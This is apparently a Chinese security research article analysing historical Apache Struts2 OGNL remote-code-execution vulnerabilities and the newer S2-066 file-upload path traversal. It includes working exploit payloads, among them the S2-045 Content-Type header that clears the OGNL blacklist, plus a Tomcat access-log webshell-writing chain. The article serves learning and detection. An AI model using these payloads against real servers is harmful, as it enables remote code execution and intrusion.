Struts2 历史 RCE 的学习与研究:附最新 S2-066(CVE-2023-50164)
2023-12-14 11:30:0 Author: paper.seebug.org(查看原文) 阅读量:54 收藏

作者:Sunflower@知道创宇404实验室
时间:2023年12月14日

1.前言

为了初步掌握 Struts2,我复现了 Struts2 框架中的漏洞系列。尽管网络上存在许多详细分析的文章,但亲自动手编写更有助于深入理解其中的逻辑。对于希望快速了解 Struts2 漏洞系列的读者,可以参考本文,其中已经省略了大部分类似的漏洞分析。此外,在撰写本文的结尾时,正好爆出了 CVE-2023-50164(即 S2-066),该漏洞也在文章末尾进行了分析。

2.框架概述

Struts 是一个开源的、用于构建企业级 Java Web 应用程序的 MVC (Model-View-Controller) 框架。它提供了一种组织和管理 Web 应用的方法,以及在应用程序的各个层次之间进行清晰划分的机制。Struts2框架大致处理流程如下:

图1 Struts2流程图

2.1 Struts2 配置简介

Struts2 的配置文件是 struts.xml,它位于 WEB-INF/classes 目录下。struts.xml 文件主要用于配置 Action 和请求的对应关系,以及配置逻辑视图和物理视图的对应关系。

2.1.2 Action 配置

Action 配置用于配置 Action 的名称、类路径、方法名等信息。Action 配置的标签是 action

<action name="hello" class="com.example.HelloAction" method="execute">
</action>

2.1.3 请求映射

请求映射用于配置请求路径与 Action 的对应关系。请求映射的标签是 url-mapping

<url-mapping pattern="/hello" />

2.1.4 视图配置

视图配置用于配置请求处理完成后返回的页面。视图配置的标签是 result

<result name="success" type="dispatcher">
  <param name="location">success.jsp</param>
</result>

3.漏洞复现

3.1 环境搭建

1、首先推荐使用官方showcase,选择对应漏洞版本,下载struts-x.x.x-apps.zip,解压后在IDEA中部署showcase的war包即可。例如:访问链接https://archive.apache.org/dist/struts/,找到对应版本,进行安装部署即可。

2、使用以下命令从GitHub将存储库克隆到本地环境:

git clone https://github.com/xhycccc/Struts2-Vuln-Demo.git

然后,使用IDEA打开项目并执行运行操作即可。

3.2 s2-003

CVE-2008-6504

3.2.1 漏洞描述

该漏洞主要原因是 Struts2 框架里 ParametersInterceptor 拦截器中的 Ognl 表达式解析器存在安全漏洞。这个漏洞允许恶意用户绕过 ParametersInterceptor 中内置的“#”使用保护,从而能够操纵服务器端上下文对象。

具体来说,当 ParametersInterceptor 拦截器处理请求时,它会使用 Ognl 表达式解析器来解析请求参数。Ognl 表达式是一种强大的表达式语言,可以访问和操作任意对象。

恶意用户可以通过构造恶意的 Ognl 表达式来绕过 ParametersInterceptor 中内置的“#”使用保护。

3.2.2 影响版本

Struts 2.0.0 - Struts 2.1.8.1

3.2.3 漏洞分析

下面通过梳理几个特性逐步来进行漏洞分析。

3.2.3.1 特殊符号过滤

com.opensymphony.xwork2.interceptor.ParametersInterceptor#acceptableName中,对传入的name进行了判断,具体代码如下:

protected boolean acceptableName(String name) {
    return name.indexOf(61) == -1 && name.indexOf(44) == -1 && name.indexOf(35) == -1 && name.indexOf(58) == -1 && !this.isExcluded(name);
}
编码 ASCII
61 =
44 ,
35 #
58 :
3.2.3.2 Context

通过传入#context,会将表达式解析为ASTVarRef树类型,从而调用到ognl.OgnlContext#get方法,当key值为context时,即可获取到当前的上下文this值,#context['xwork.MethodAccessor.denyMethodExecution']=false可以操作对应的属性,如图2所示。

图2 ognl.OgnlContext#get
3.2.3.3 AST树

在compile中会调用关键函数Ognl.parseExpression解析给定的OGNL表达式并返回一个表达式的树形表示,该表示可以被Ognl静态方法使用。

public static Object compile(String expression) throws OgnlException {
    synchronized(expressions) {
        Object o = expressions.get(expression);
        if (o == null) {
            o = Ognl.parseExpression(expression);
            expressions.put(expression, o);
        }

        return o;
    }
}

简单来说就是将对应表达式按照表现形式进行分类成不同的树,对不同的树会调用不同的函数进行处理。

同时,该函数也会将unicode编码解析,如图3(漏洞利用的关键之一在于使用Unicode编码来绕过前述的特殊符号过滤。)

图3 AST树

漏洞的触发方式采用 ASTEval 的树形结构,具体表现为 "(x)(x)..." 的形式。下面简要描述将 context 的 xwork.MethodAccessor.denyMethodExecution 赋值为 false 的过程:

例如有一个payload:

(#context[’xwork.MethodAccessor.denyMethodExecution‘]=false)(test1)(test2)

令a为#context[’xwork.MethodAccessor.denyMethodExecution‘]=false、b为test1、c为test2,首先将(a)(b)(c)判定为ASTEval

调用n.setValue(ognlContext, root, value),n即为(a)(b)(c)对应的树对象类型(ASTEval)
evaluateSetValueBody、setValueBody
取children[0]即(a)(b)的树类型.getValue、evaluateGetValueBody、getValueBody
取children[0]即a的树类型.getValue、evaluateGetValueBody、getValueBody
取到#context['xwork.MethodAccessor.denyMethodExecution']=false赋值给expr
取children[1]即test的树类型.getValue、evaluateGetValueBody、getValueBody、getProperty #取到test1值
node.getValue //node即为expr的树形式(ASTAssign).getValue ,expr此时为#context[’xwork.MethodAccessor.denyMethodExecution‘]=false
evaluateGetValueBody、getValueBody
取children[1]即false的树类型.getValue、evaluateGetValueBody、getValueBody #取到false值
取children[0]即#context["xwork.MethodAccessor.denyMethodExecution"]的树类型.setValue、evaluateSetValueBody、setValueBody
取children[0]即#context的树类型.getValue、evaluateGetValueBody、getValueBody //取到context对应值
取children[1]即["xwork.MethodAccessor.denyMethodExecution"]的树类型.setValue //这里同时传入value为false的值、evaluateSetValueBody、setValueBody、setProperty
取children[0]即"xwork.MethodAccessor.denyMethodExecution"的树类型.getValue、evaluateGetValueBody、getValueBody //取到xwork.MethodAccessor.denyMethodExecution
setProperty
...设置xwork.MethodAccessor.denyMethodExecution为false等操作

总体而言,该原理较易理解,但其具体步骤相对繁琐。强烈建议读者亲自尝试一遍,并可参考以下文章《浅析OGNL表达式求值》[1]进行辅助学习。

3.2.3.4 触发的核心逻辑:

本质就是xwork的漏洞,使用到了OgnlUtil.setValue,例如直接在低版本xwork环境下运行如下命令即可rce,图4所示。

OgnlContext ognlContext = new OgnlContext();
OgnlUtil.setValue("('@java.lang.Runtime@getRuntime().exec(\\'calc\\')')('sf1')('sf2')",ognlContext,null,"");

图4 setValue可RCE

图5为Structs2的xwork中同样使用到了OgnlUtil.setValue

图5 com.opensymphony.xwork2.util.OgnlValueStack#setValue

根据网上的PoC,我们可以了解到,需要将 contextxwork.MethodAccessor.denyMethodExecution 值设置为 false。现在我们来分析一下原因:在 Struts2 启动时,系统默认将 Object.class 的方法访问器设置为 XWorkMethodAccessor 对象,具体如图6所示。

图6 com.opensymphony.xwork2.util.OgnlValueStack#reset

在后续的 Struts2 执行过程中,系统会根据类名查找相应的方法访问器。如果未能找到与 Runtime 类匹配的方法访问器,系统将调用其 getSuperclass 方法,其超类为 Object.class。随后,系统将 Object 的方法访问器(XWorkMethodAccessor)赋予 Runtime 对象,如图7所示。

图7 ognl.OgnlRuntime#getHandler

在整个过程中,最终调用了XWorkMethodAccessorcallStaticMethod 方法,以获取 Runtime 对象,详见图8。

图8 调用callStaticMethod

在该方法内部,通过判断 xwork.MethodAccessor.denyMethodExecution 的值是否为 false,确定是否调用后续的 callStaticMethod 方法,具体可见图9。

图9 判断xwork.MethodAccessor.denyMethodExecution值

回过头再看本地环境,发现 Object 并没有将初始化 Object.class 的方法访问器设置为 XWorkMethodAccessor 对象,而是默认为 ObjectMethodAccessor。因此,无需检查 xwork.MethodAccessor.denyMethodExecution 的值,即可直接调用,导致了远程代码执行(RCE)漏洞,详见图10。

图10 OgnlRuntime.class

总结一下上述内容:在Struts2中,如果传入的表达式类型为ASTStaticMethod,将调用OgnlRuntime的callStaticMethod方法,而由于struts2中的xwork定义了Object.class的方法访问器为XWorkMethodAccessor对象,所以导致流程进入XWorkMethodAccessor.callStaticMethod。本地的OgnlUtil.setValue并没有指定Object.class的方法访问器,因此默认为ObjectMethodAccessor,无需判断xwork.MethodAccessor.denyMethodExecution的值,直接调用可导致RCE。

基于上述信息,Struts2 中的漏洞利用PoC可总结如下:

(%27\u0023context[\%27xwork.MethodAccessor.denyMethodExecution\%27]\u003dfalse%27)(sf1)(sf2)&(%27\u0023su26\[email protected]@getRuntime().exec(\%27calc\%27)%27)(sf1)(sf2)

3.2.4 拓展

上述文本中提到,只有当调用的表达式类型为 ASTStaticMethod 时,才会触发 OgnlRuntimecallStaticMethod 方法。通过不传入 ASTStaticMethod 类型的表达式,我们可以绕过对 xwork.MethodAccessor.denyMethodExecution 值的判断。

在创建对象new Object时,实质上是调用 ASTCtor 类型的结构表达式。这引发了一个问题:是否存在一种危险的 Object 对象,使得调用 "new Object()" 可以实现远程代码执行(RCE)?理论上,这是可行的。

在 Struts2 中,可以自定义一个类来模拟一个危险的类文件,如下所示:

package com.test.self;
import java.io.IOException;

public class Student {
    public Student(String cmd) throws IOException {
        Runtime.getRuntime().exec(cmd);
    }
}

输入如下payload即可弹出计算器,绕过设置xwork.MethodAccessor.denyMethodExecution限制,如图11。

(new com.test.self.Student(new java.lang.String("calc")))(sf1)(sf2)

图11 绕过xwork.MethodAccessor.denyMethodExecution限制

在实际情境中,若在 Struts2 中整合了 Spring 框架,便可以通过利用 new ClassPathXmlApplicationContextFileSystemXmlApplicationContext 远程加载配置,从而实现上述的 RCE 效果。在此仅提供思路,读者如有兴趣可深入探索。

3.3 S2-005

CVE-2010-1870

3.3.1 漏洞描述

该漏洞是对S2-003的补丁绕过,将 “_memberAccess.excludeProperties”属性的值设置为空集合,从而允许访问所有属性。

3.3.2 影响版本

Struts 2.0.0 - Struts 2.1.8.1

3.3.3 漏洞分析

S005漏洞实质上是对S003的绕过。在 callAppropriateMethod 处设置了断点,调试一下新的执行流程,详见图12。

图12 ognl.OgnlRuntime#isMethodAccessible

PoC执行失败的主要原因是位于以下位置的 context.getMemberAccess().isAccessible

public static final boolean isMethodAccessible(OgnlContext context, Object target, Method method, String propertyName) {
    return method == null ? false : context.getMemberAccess().isAccessible(context, target, method, propertyName);
}

此处在修复补丁中继承DefaultMemberAccess并重写了isAccessible方法,如图13:

图13 重写isAccessible

定义了SecurityMemberAccess为新的memberAccess,如图14。

图14 com.opensymphony.xwork2.util.OgnlValueStack#setRoot

所以后续判断交给SecurityMemberAccessisAccessible方法进行处理(默认为DefaultMemberAccess),如果传入的是ASTStaticMethod类型表达式,调用到callStaticMethod方法paramName默认为null,会引起空指针造成中断(PoC失败的主要问题),如图15:

图15 com.opensymphony.xwork2.util.SecurityMemberAccess#isExcluded

为了继续执行,需要将 this.excludeProperties 设置为空,以防止其进入 if 结构。那么如何修改 this.excludeProperties 的值呢?

OgnlContext.class中,ognl.OgnlContext#get可根据名称来调用对应的对象(此处和调用#context同理),通过_memberAccess可以获取对应的this.getMemberAccess()对象,如图16。

图16 ognl.ASTVarRef#getValueBody

所以可以构造如下payload来修改context中的memberAccess值,其他和S003内容不变。

#[email protected]@EMPTY_SET

原理分析,不考虑其他特殊情况,最终可用的 payload 如下:

(%27\u0023_memberAccess.excludeProperties\[email protected]@EMPTY_SET%27)(sf1)(sf2)&(%27\u0023context[\%27xwork.MethodAccessor.denyMethodExecution\%27]\u003dfalse%27)(sf1)(sf2)&(%27\u0023su26\[email protected]@getRuntime().exec(\%27calc\%27)%27)(sf1)(sf2)

3.4 S2-013

CVE-2013-1966

3.4.1 漏洞描述

当 Struts2 处理使用 includeParams="all" 的标签时,它会将所有请求参数解析为 OGNL 表达式。

3.4.2 影响版本

Struts 2.0.0 - Struts 2.3.14.1

3.4.3 漏洞分析

S013和S001大多类似,S001在doEndTag中触发,而s013在doStartTag中触发,同理漏洞不再做重复分析。

在jsp中定义如下内容:

<p><s:a id="link1" action="link" includeParams="all">"s:a" tag</s:a></p>
<p><s:url id="link2" action="link" includeParams="all">"s:url" tag</s:url></p>

在解析jsp文件时,会调用到ComponentTagSupport中的doStartTagdoStartTag又相继调用后续逻辑。

3.4.3.1 关键点1

当配置includeParamsall时,会调用到this.includeGetParameters,从而进入到后面OGNL解析中,如图17。

图17 配置includeParams为all进入的逻辑
3.4.3.2 关键点2

在Struts2更新的某个版本中,translateVariables开始支持{}、%{}的形式去构造payload,如图18。

图18 translateVariables

跟一遍translateVariables的调用,接下来的逻辑将再次涉及到常见的 getValue 阶段,如图19所示。

图19 translateVariables的后续进入getValue

这里的调用栈为:

getValue:366, OgnlValueStack (com.opensymphony.xwork2.ognl)
tryFindValue:354, OgnlValueStack (com.opensymphony.xwork2.ognl)
tryFindValueWhenExpressionIsNotNull:329, OgnlValueStack (com.opensymphony.xwork2.ognl)
findValue:313, OgnlValueStack (com.opensymphony.xwork2.ognl)
findValue:374, OgnlValueStack (com.opensymphony.xwork2.ognl)
evaluate:161, TextParseUtil$1 (com.opensymphony.xwork2.util)
evaluate:49, OgnlTextParser (com.opensymphony.xwork2.util)
translateVariables:171, TextParseUtil (com.opensymphony.xwork2.util)
translateVariables:130, TextParseUtil (com.opensymphony.xwork2.util)
translateVariables:52, TextParseUtil (com.opensymphony.xwork2.util)

总结:在 translateVariables 函数中,如果传入的是 OGNL 表达式,例如 ${}%{},将触发类似于 S2-003 的逻辑解析,可能导致远程代码执行(RCE)漏洞。后续分析不再跟进translateVariables。

3.4.3 结论

由于上面提到,支持%{}和${}两种格式,所以如下两种payload都可用,S2-014直接用第二个payload即可:

%{\u0023_memberAccess[\u0027allowStaticMethodAccess\u0027]\u003dtrue,@java.lang.Runtime@getRuntime().exec(\u0027calc\u0027)}
或者
${\u0023_memberAccess[\u0027allowStaticMethodAccess\u0027]\u003dtrue,@java.lang.Runtime@getRuntime().exec(\u0027calc\u0027)}

最后贴一下调用链:

translateVariable:287, UrlHelper (org.apache.struts2.views.util)
translateAndEncode:263, UrlHelper (org.apache.struts2.views.util)
buildParameterSubstring:250, UrlHelper (org.apache.struts2.views.util)
buildParametersString:229, UrlHelper (org.apache.struts2.views.util)
buildParametersString:194, UrlHelper (org.apache.struts2.views.util)
buildUrl:172, UrlHelper (org.apache.struts2.views.util)
determineActionURL:410, Component (org.apache.struts2.components)
determineActionURL:68, ComponentUrlProvider (org.apache.struts2.components)
renderUrl:74, ServletUrlRenderer (org.apache.struts2.components)
evaluateExtraParams:107, Anchor (org.apache.struts2.components)
evaluateParams:856, UIBean (org.apache.struts2.components)
start:57, ClosingUIBean (org.apache.struts2.components)
start:132, Anchor (org.apache.struts2.components)
doStartTag:53, ComponentTagSupport (org.apache.struts2.views.jsp)
_jspx_meth_s_005fa_005f0:15, index_jsp (org.apache.jsp)

3.5 s2-016

CVE-2013-2251

3.5.1 漏洞描述

在 Struts2 框架中,DefaultActionMapper 类的 actionMapping方法用于解析请求参数中的导航信息。该方法首先会检查请求参数是否以 "action:"、"redirect:" 或 "redirectAction:" 为前缀。如果是,则该方法将会解析请求参数中的导航目标表达式。

该漏洞是由于 DefaultActionMapper类的 actionMapping方法在解析请求参数时,没有对请求参数中的恶意表达式进行过滤。因此,恶意用户可以通过构造恶意的请求参数来执行任意代码。

3.5.2 影响版本

Struts 2.0.0 - Struts 2.3.15

3.5.3 漏洞分析

该漏洞涉及两个点:

1、当重定向时,会将传递的重定向地址进行二次解析(S2-012的漏洞主要原因,同理漏洞故只分析S2-016)

2、当使用action:等前缀时,会导致执行对应的execuite方法

StrutsPrepareAndExecuteFilter#doFilter 方法中调用,如下图所示(见图20)。

图20 StrutsPrepareAndExecuteFilter#doFilter

调用DefaultActionMapper#getMapping,如图21:

图21 DefaultActionMapper#getMapping

随后调用DefaultActionMapper#handleSpecialParameters,如图22:

图22 DefaultActionMapper#handleSpecialParameters

DefaultActionMapper#handleSpecialParameters中通过this.prefixTrie.get(key)来获取对应的parameterAction值,如图23。

图23 DefaultActionMapper#handleSpecialParameters

this.prefixTrie的值定义如下,所以当key值有不同的prefix,就会获取到不同的ParameterAction对象去执行execute()

public DefaultActionMapper() {
    this.prefixTrie = new PrefixTrie() {
        {
            this.put("method:", new ParameterAction() {
                public void execute(String key, ActionMapping mapping) {
                    if (DefaultActionMapper.this.allowDynamicMethodCalls) {
                        mapping.setMethod(key.substring("method:".length()));
                    }

                }
            });
            this.put("action:", new ParameterAction() {
                public void execute(String key, ActionMapping mapping) {
                    String name = key.substring("action:".length());
                    if (DefaultActionMapper.this.allowDynamicMethodCalls) {
                        int bang = name.indexOf(33);
                        if (bang != -1) {
                            String method = name.substring(bang + 1);
                            mapping.setMethod(method);
                            name = name.substring(0, bang);
                        }
                    }

                    mapping.setName(name);
                }
            });
            this.put("redirect:", new ParameterAction() {
                public void execute(String key, ActionMapping mapping) {
                    ServletRedirectResult redirect = new ServletRedirectResult();
                    DefaultActionMapper.this.container.inject(redirect);
                    redirect.setLocation(key.substring("redirect:".length()));
                    mapping.setResult(redirect);
                }
            });
            this.put("redirectAction:", new ParameterAction() {
                public void execute(String key, ActionMapping mapping) {
                    String location = key.substring("redirectAction:".length());
                    ServletRedirectResult redirect = new ServletRedirectResult();
                    DefaultActionMapper.this.container.inject(redirect);
                    String extension = DefaultActionMapper.this.getDefaultExtension();
                    if (extension != null && extension.length() > 0) {
                        location = location + "." + extension;
                    }

                    redirect.setLocation(location);
                    mapping.setResult(redirect);
                }
            });
        }
    };
}

s016的漏洞在redirect:``、redirectAction:中触发,举例当key前缀为redirectAction时,会将redirectAction设置为location,如图24。

图24 parameterAction.execute

location的值变为${new java.lang.ProcessBuilder(new java.lang.String[]{"calc"}).start()}.action

在后续中StrutsResultSupport#execute调用到如下代码,将this.location传入conditionalParse

public void execute(ActionInvocation invocation) throws Exception {
    this.lastFinalLocation = this.conditionalParse(this.location, invocation);
    this.doExecute(this.lastFinalLocation, invocation);
}

接着conditionalParse调用了TextParseUtil.translateVariables导致后续的代码执行,如图25。实质上在S2的众多历史洞中都会调用到TextParseUtil.translateVariable造成RCE,TextParseUtil.translateVariables的后续逻辑也和s003等的漏洞原理相同。

图25 TextParseUtil.translateVariables

最终payload为:

redirectAction:${new%20java.lang.ProcessBuilder(new%20java.lang.String[]{"calc"}).start()}
redirect:${new%20java.lang.ProcessBuilder(new%20java.lang.String[]{"calc"}).start()}

3.6 S2-020

CVE-2014-0094

3.6.1 漏洞描述

该漏洞是由于 Struts 2 框架中 ParametersInterceptor 拦截器的 class 参数存在安全漏洞导致的。该漏洞允许恶意用户通过构造恶意的 class 参数来操纵类加载器,从而执行任意代码。

具体来说,当 ParametersInterceptor 拦截器处理请求时,它会检查请求参数中是否存在名为“class”的参数。如果存在,则拦截器会将该参数解析为一个类的名称。

3.6.2 影响版本

Struts 2.0.0 - Struts 2.3.16.1

3.6.3 漏洞分析

漏洞的触发机制与之前分析的 S2-003 和 S2-0005 相同,实际上可以看作是对 S2-003、S2-005 的另一种利用方式。下面进行漏洞效果的演示:

首先,访问以下URL,即可触发将 docBase 路径修改为 C:/Users/Public/Downloads 的操作。

这时候可以直接通过Url访问到C:/Users/Public/Downloads的资源了,如图26:

图26 任意文件读取

分析一下代码逻辑,首先传递class.classLoader.resources.dirContext.docBase=C:/Users/Public/Downloads

前面部分逻辑与s003相同,直接进入ognl.OgnlRuntime#getDeclaredMethods打下断点。

分析如下代码,baseName就是传递的class值,在ms中寻找符合以Class结尾的方法名,并且在后续再次判断以set、get或者is开头。所以当传递class后,这里getClass符合,于是就得到了getClass(),如图27。

图27 ognl.OgnlRuntime#getDeclaredMethods

接下来的同理,当传入classloader继续判断是否以ClassLoader结尾,并且在后续再次判断以set、get或者is开头,最终得到getClassLoader,后续遍历步骤同理省略。

所以理一下,传递class.classLoad er.resources.dirContext.docBase实质是传递了getClass().getClassLoader().getResource().getDirContext().setDocBase()

可以使用yiran4827编写的脚本[2]运行符合set、get、is开头的调用链。

<%@ page language="java" import="java.lang.reflect.*" %>
<%!public void processClass(Object instance, javax.servlet.jsp.JspWriter out, java.util.HashSet set, String poc){
    try {
        Class<?> c = instance.getClass();
        set.add(instance);
        Method[] allMethods = c.getMethods();
        for (Method m : allMethods) {
        if (!m.getName().startsWith("set")) {
            continue;
        }
        if (!m.toGenericString().startsWith("public")) {
            continue;
        }
        Class<?>[] pType  = m.getParameterTypes();
        if(pType.length!=1) continue;

        if(pType[0].getName().equals("java.lang.String")||
        pType[0].getName().equals("boolean")||
        pType[0].getName().equals("int")){
            String fieldName = m.getName().substring(3,4).toLowerCase()+m.getName().substring(4);
            out.print(poc+"."+fieldName + "<br>");
        }
        }
        for (Method m : allMethods) {
        if (!m.getName().startsWith("get")) {
            continue;
        }
        if (!m.toGenericString().startsWith("public")) {
            continue;
        }       
        Class<?>[] pType  = m.getParameterTypes();
        if(pType.length!=0) continue;
        if(m.getReturnType() == Void.TYPE) continue;
        Object o = m.invoke(instance);
        if(o!=null)
        {
            if(set.contains(o)) continue;
            processClass(o,out, set, poc+"."+m.getName().substring(3,4).toLowerCase()+m.getName().substring(4));    
        } 
        }
    } catch (java.io.IOException x) {
        x.printStackTrace();
    } catch (java.lang.IllegalAccessException x) {
        x.printStackTrace();
    } catch (java.lang.reflect.InvocationTargetException x) {
        x.printStackTrace();
    }   
}%>
<%
java.util.HashSet set = new java.util.HashSet<Object>();
String poc = "class.classLoader";
example.HelloWorld action = new example.HelloWorld();
processClass(action.getClass().getClassLoader(),out,set,poc);
%>

最终在结果中筛选过滤出如下方法,可以通过控制tomcat上生成access log的文件名、文件位置、文件后缀以及日志日期(日期不同则生成新文件)、最后再访问一条带shell的url链接,即可将shell内容写进文件:

class.classLoader.resources.context.parent.pipeline.first.directory =webapps/ROOT
class.classLoader.resources.context.parent.pipeline.first.prefix =shell
class.classLoader.resources.context.parent.pipeline.first.suffix = .jsp
class.classLoader.resources.context.parent.pipeline.first.fileDateFormat =1
<%Runtime.getRuntime.exec("calc");%>

在不同版本的 Tomcat 中,可能不存在该利用链。笔者在 Tomcat 8.0.20 上成功复现了如上利用链。

3.7 S2-045

CVE-2017-5638

3.7.1 漏洞描述

该漏洞是由于 Struts2 框架中 Jakarta Multipart parser 在处理文件上传时存在安全漏洞导致的。该漏洞允许恶意用户通过构造恶意的 Content-Type 头来执行任意代码。

当传入非法的Content-type会引发JakartaMultiPartRequest类报错,并调用buildErrorMessage()方法处理错误contentType信息。该函数内部使用到了TextParseUtil.translateVariables去处理了报错信息,造成了OGNL表达式解析。

3.7.2 影响版本

Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10

3.7.3 漏洞分析

漏洞执行流程:

parse——>processUpload()——>...——>getItemIterator——>new FileItemIteratorImpl,FileItemIteratorImpl构造方法代码如下。当contentType值不以multipart/开头,则会触发报错,并将contentType内容拼接进去:

FileItemIteratorImpl(RequestContext ctx) throws FileUploadException, IOException {
            if (ctx == null) {
                throw new NullPointerException("ctx parameter");
            } else {
                String contentType = ctx.getContentType();
                if (null != contentType && contentType.toLowerCase(Locale.ENGLISH).startsWith("multipart/")) {...} else {
                    throw new InvalidContentTypeException(String.format("the request doesn't contain a %s or %s stream, content type header is %s", "multipart/form-data", "multipart/mixed", contentType));
                }
            }
        }

报错后进入catch语句调用——>buildErrorMessage(传递进了捕获的contentType异常)——>findText——>getDefaultMessage,getDefaultMessage代码如图28:

图28 com.opensymphony.xwork2.util.LocalizedTextUtil#getDefaultMessage

上文中提到过TextParseUtil.translateVariables会造成OGNL解析,不再赘述,这里可用的payload为:

Content-Type: -multipart/form-data-%{#[email protected]@DEFAULT_MEMBER_ACCESS,@java.lang.Runtime@getRuntime().exec('calc')}

3.7.4 拓展分析

在2.3.29版本后,无法使用#_memberAccess获取对应的this.getMemberAccess()对象,意味着不能使用该方法设置SecurityMemberAccess对象了。

3.7.4.1 关键点1

ognl.Ognl#addDefaultContext中,将memberAccess(SecurityMemberAccess)的对象使用setMemberAccess赋值给了result(OgnlContext)时,它们实际上是引用了相同的对象。这样的操作是按引用传递的,即两个变量引用的是同一个对象,如图29。

图29 ognl.Ognl#addDefaultContext

即:修改OgnlContext._memberAccess会影响到OgnlValueStack.securityMemberAccess

3.7.4.2 关键点2

使用等号直接将一个对象赋给另一个对象,同样是按照引用传递的方式,它们也会引用相同的对象,如图30。

图30 OgnlValueStack#setOgnlUtil

即:修改OgnlUtil.excludedClasses会影响到securityMemberAccess.excludedClasses

3.7.4.3 关键点3

com.opensymphony.xwork2.inject.Container 接口的对象,负责管理和提供应用程序中各个组件(如 Action 类、拦截器、结果类型等)的依赖注入。

可以使用#context['com.opensymphony.xwork2.ActionContext.container']获取到Container对象。

例如获取容器并使用容器获取OgnlUtil实例:

#container = #context['com.opensymphony.xwork2.ActionContext.container']
#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)
3.7.4.4 关键点4

在官方的防护中又加了一种防护策略,检测是不是ASTSequence即exp1,exp2 或 ASTEval即(exp1)(exp2)树类型。

private void checkEnableEvalExpression(Object tree, Map<String, Object> context) throws OgnlException {
    if (!this.enableEvalExpression && this.isEvalExpression(tree, context)) {
        throw new OgnlException("Eval expressions has been disabled!");
    }
}

网上绕过思路,使用(exp1).(exp2)即ASTChain

3.7.5 总结利用

总结以上几点我们可以通过如下操作:

1、通过setMemberAcces将context设置为@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS

#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)

2、但当调用setMemberAccess又会被SecurityMemberAccessthis.excludedPackageNamesthis.excludedClasses黑名单拦截,所以我们需要清空这两个属性,如图31。

图31 this.excludedeClasses

3、由上诉可知this.excludedPackageNamesthis.excludedClasses可以通过OgnlUtil来操作,所以我们可以利用Container获取OgnlUtil实例并且清空SecurityMemberAccess

所以最终的payload为:

Content-Type: -multipart/form-data-%{(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.excludedClasses.clear()).(#ognlUtil.excludedPackageNames.clear()).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('calc'))}

3.8 S2-066

CVE-2023-50164

3.8.1 漏洞描述

通过控制文件上传参数首字母大写,Struts2会自动匹配调用其对应的set方法,并且让后台自动生成的参数UploadFileName的首写字母为大写,又因为Treemap的排序特性,大写字母排序比小写字母在更前面,导致系统生成的UploadFileName优先赋值后,攻击者传入的uploadFileName(小写开头)覆盖了系统设置的文件名称,最终导致了目录穿越。

3.8.2 影响版本

Struts 2.0.0 - Struts 2.3.37 , Struts 2.5.0 - Struts 2.5.32, Struts 6.0.0 - Struts 6.3.0

3.8.3 漏洞分析

在我快完成 Struts2 系列文章的次日,便发现了 Struts2 框架又出了一个新漏洞,即 S2-066。通过对相关补丁和官方公告进行分析和复现:

首先看一下补丁对比[3],根据官方描述和补丁对比,漏洞发生在文件上传部分,且补充了remove功能,使其能够忽略大小写并移除重复的键值,如图32:

图32 Struts2补丁对比

并且测试代码中包含大小写的参数的构造,如图33:

图33 Struts2补丁对比2

通过debug上传相关的处理器进行一步步调试,发现如下几个问题:

1、在debug过程中,发现在处理参数时,会多出uploadFileName、uploadContentType,经过调试发现如下信息,如图34:

图34 org.apache.struts2.interceptor.FileUploadInterceptor#intercept

首先注意到这几个参数同时出现在map中,而uploads参数是可控的。这表明可以直接构造传递uploadsFileNameuploadsContentType来控制这两个值。然而,经过实质性的测试后发现,这并未改变文件名。

2、修改uploads参数为uPloads、upLoads等非首字母大写的情况会上传不了文件,报错No File selected!

3、添加__multiselect_等字段会上传成功,并且能够自定义文件名,但是找不到上传过去了的文件,如图35。(经过调试,代码去除__multiselect_的前缀后将uploads的value设置为一个空值,意味着实质上没有任何文件被上传)

图35 提示上传成功但没文件落地

4、根据上面已经知道的信息,再加上仔细反复确认公告和补丁,在不断的手动fuzz最终成功构造出了PoC。即大写首字母Uploads。

3.8.4 二次分析

在没有 PoC的情况下,理解其中的原理确实比较困难。通过得到的 PoC 再次进入二次分析:

3.8.4.1 为什么只能首字母大写才能成功上传?

ognl.OgnlRuntime#getDeclaredMethods中,如果传入的值以baseName结尾,则会自动匹配当前类中的set、get、is方法,如图36。

图36 ognl.OgnlRuntime#getDeclaredMethods

例如我的文件上传Upload.java中有如下代码,传入Uploads则会自动获取对应的setUploads。

public void setUploads(File[] uploads) {
    this.uploads = uploads;
}
3.8.4.2 如何实现替换了uploadsfileName值的?

在使用ParametersInterceptor中设置传递的参数值时,默认采用了Treemap进行存储,对于字符串来说,TreeMap顺序是按照 Unicode 码点顺序进行比较的,即U的Unicode码值小于u,U会排在u前面。

所以当传递Uploads到服务器时,服务器自动生成的名称为UploadsFileName、此时我们传递了一个uploadFileName,又因为大写顺序在前的缘故,首先调用了服务器生成的UploadsFileName,将文件名设置为upload.png,再次调用了我们自己传递的uploadFileName,将文件名设置为了我们自定义的值,最终造成了目录穿越,如图37。

图37 漏洞利用成功

4.总结

分享一下我学完了 Struts2 历史漏洞的经验:

由于 Struts2 的大部分漏洞都涉及到 OGNL 表达式被解析成各种AST树,最终导致远程代码执行(RCE),许多绕过思路也与AST解析后续逻辑密切相关。因此,建议初学者仔细研究甚至手动调试一下AST树后续解析逻辑,特别是像S2-003、S2-005、S2-020、S2-045等漏洞。通过深入分析这些漏洞的过程,当再看其他历史洞时,基本上能够轻松理解其中的逻辑。所以我写下这篇paper时部分漏洞简单概括或者是直接省略了,因为它们的核心原理在这些关键漏洞中已经涵盖。

另外使用codeql进行污点分析挖到S2-057,虽然还是同理漏洞,仅是入口点不同,但是用来学习codeql也是很值得看一下[4]。

5.漏洞检测

5.1 Pocsuite 检测Struts2漏洞演示视频

视频提供了对Pocsuite的使用方法、安装方法、以及对Struts2-045进行漏洞检测的演示[5]。

S2-045: Struts 2 远程代码执行漏洞(CVE-2017-5638)演示视频

5.2 Pocsuite Struts2 exp

为了方便学习和研究,已将 Pocsuite Struts2 系列漏洞 exp 整理至 GitHub 仓库 [6],读者可自行获取。

免责声明:

